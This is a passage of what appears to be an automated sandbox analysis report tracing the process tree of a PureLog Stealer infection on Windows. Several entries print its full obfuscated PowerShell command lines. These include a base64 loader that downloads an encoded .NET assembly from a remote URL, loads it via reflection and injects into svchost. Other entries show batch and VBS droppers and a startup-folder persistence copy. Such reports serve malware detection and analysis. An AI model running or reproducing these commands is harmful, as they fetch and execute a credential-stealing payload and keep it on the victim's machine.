icrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	06:36:34
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:36:36
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000012.00000002.2481504661.000001AF314E0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000012.00000002.1728472486.000001AF2930E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	06:36:36
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat""
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	06:36:36
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:36:36
Start date:	25/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs"
Imagebase:	0x7ff7740b0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 4920, Parent PID: 5268

General

Target ID:	22
Start time:	06:36:37
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:36:37
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:36:38
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 4928, Parent PID: 7740

General

Target ID:	25
Start time:	06:36:38
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat""
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:36:38
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:36:38
Start date:	25/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs"
Imagebase:	0x7ff6fbbe0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 6600, Parent PID: 4924

General

Target ID:	28
Start time:	06:36:39
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	06:36:39
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	06:36:40
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 8280, Parent PID: 7740

General

Target ID:	31
Start time:	06:36:40
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" /C echo %username%
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	06:36:40
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	06:36:40
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\pow\wm_startup.bat""
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	06:36:40
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	06:36:40
Start date:	25/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs"
Imagebase:	0x7ff6fbbe0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	06:36:42
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	06:36:42
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	06:36:42
Start date:	25/09/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping 127.0.0.1 -n 10
Imagebase:	0x7ff651160000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	06:36:42
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\pow\wm_startup.bat""
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	06:36:42
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	06:36:42
Start date:	25/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs"
Imagebase:	0x7ff6fbbe0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 8668, Parent PID: 8612

General

Target ID:	42
Start time:	06:36:43
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	06:36:43
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	06:36:43
Start date:	25/09/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping 127.0.0.1 -n 10
Imagebase:	0x7ff651160000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	06:36:44
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\pow\wm_startup.bat""
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	06:36:44
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	06:36:44
Start date:	25/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs"
Imagebase:	0x7ff6fbbe0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 8912, Parent PID: 8820

General

Target ID:	50
Start time:	06:36:45
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	06:36:45
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	06:36:45
Start date:	25/09/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping 127.0.0.1 -n 10
Imagebase:	0x7ff651160000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	06:36:47
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" /C echo %username%
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	06:36:47
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	06:36:47
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\32\pure_hnvc.bat""
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	06:36:47
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	06:36:47
Start date:	25/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs"
Imagebase:	0x7ff6fbbe0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
